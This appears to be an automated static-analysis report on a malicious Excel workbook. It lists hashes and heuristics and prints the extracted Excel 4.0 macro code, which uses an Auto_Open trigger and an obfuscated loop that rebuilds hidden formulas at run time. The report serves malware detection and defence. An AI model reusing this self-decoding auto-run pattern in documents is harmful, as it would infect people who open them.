Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ce80ee2e86dc3f2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:24 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 9a31eddc066f9164db8ef339e6c3e722 SHA-1: cad1590db7575cd9dd241158c2152027399bb34f SHA-256: 9ce80ee2e86dc3f2d5084b000d7471936af4923e72a8015f2e1cf40038f7d601
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6373 bytes
SHA-256: cdb7bf8e322666934aa7f55e0cc4175d1395147d3a91f7ec21684bf30e6e2e45
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZkU
' 0018     22 LABEL : Cell Value, String Constant - aQXZeKq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C141 
' 0018     21 LABEL : Cell Value, String Constant - FxJBBw len=0 
' 0018     23 LABEL : Cell Value, String Constant - gaqccAZs len=0 
' 0018     25 LABEL : Cell Value, String Constant - GjFcJfbKMy len=0 
' 0018     24 LABEL : Cell Value, String Constant - heZiQExrc len=0 
' 0018     27 LABEL : Cell Value, String Constant - HojygotDvKpd len=0 
' 0018     27 LABEL : Cell Value, String Constant - IwvBHvyZpcZy len=0 
' 0018     25 LABEL : Cell Value, String Constant - JAHfzSDBnt len=0 
' 0018     23 LABEL : Cell Value, String Constant - JaIhIYfM len=0 
' 0018     26 LABEL : Cell Value, String Constant - jhPGBIewZwr len=0 
' 0018     22 LABEL : Cell Value, String Constant - NCQUaOk len=0 
' 0018     24 LABEL : Cell Value, String Constant - NJzaxucdg len=0 
' 0018     26 LABEL : Cell Value, String Constant - oEJfzaRcfjZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - OtfjYj len=0 
' 0018     24 LABEL : Cell Value, String Constant - PNCJyIqik len=0 
' 0018     27 LABEL : Cell Value, String Constant - RZOwOMqoXGeO len=0 
' 0018     22 LABEL : Cell Value, String Constant - TxDhobm len=0 
' 0018     22 LABEL : Cell Value, String Constant - uCtNnvi len=0 
' 0018     20 LABEL : Cell Value, String Constant - XirxM len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZAzxDx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZkU,C58,"SET.NAME("PNCJyIqik",VALUE("0"))",""
'  ZkU,C62,"SET.NAME("uCtNnvi",PNCJyIqik)",""
'  ZkU,C64,"SET.NAME("FxJBBw",PNCJyIqik)",""
'  ZkU,C68,"SET.NAME("oEJfzaRcfjZ",COUNTA(HojygotDvKpd))",""
'  ZkU,C72,"SET.NAME("GjFcJfbKMy",COUNTA(TxDhobm))",""
'  ZkU,C75,[],""
'  ZkU,C77,"SET.NAME("NCQUaOk","")",""
'  ZkU,C80,"uCtNnvi",""
'  ZkU,C82,"SET.NAME("aQXZeKq",HLOOKUP("*",HojygotDvKpd,uCtNnvi,FALSE))",""
'  ZkU,C86,"NJzaxucdg",""
'  ZkU,C90,"SET.NAME("ZAzxDx",PNCJyIqik)",""
'  ZkU,C93,[],""
'  ZkU,C97,"ZAzxDx",""
'  ZkU,C101,"heZiQExrc",""
'  ZkU,C103,"JaIhIYfM",""
'  ZkU,C107,"JAHfzSDBnt",""
'  ZkU,C111,"SET.NAME("gaqccAZs",VALUE(HLOOKUP("*",TxDhobm,JAHfzSDBnt,FALSE)))",""
'  ZkU,C114,"XirxM",""
'  ZkU,C116,"NCQUaOk",""
'  ZkU,C121,"FxJBBw",""
'  ZkU,C125,NEXT(),""
'  ZkU,C129,"IwvBHvyZpcZy",""
'  ZkU,C131,"SET.NAME("f",INT(T(FORMULA(T(NCQUaOk)&"",""&T(IwvBHvyZpcZy)))))",""
'  ZkU,C133,"RZOwOMqoXGeO",""
'  ZkU,C135,NEXT(),""
'  ZkU,C137,RETURN(),""
'  ZkU,C170,"SET.NAME("OtfjYj",C58)",""
'  ZkU,C172,"HojygotDvKpd",""
'  ZkU,C176,"SET.NAME("TxDhobm",R67C15)",""
'  ZkU,C181,"SET.NAME("RZOwOMqoXGeO",188)",""
'  ZkU,C185,"SET.NAME("jhPGBIewZwr",3)",""
'  ZkU,C187,OtfjYj(),""
'  ZkU,C188,HALT(),""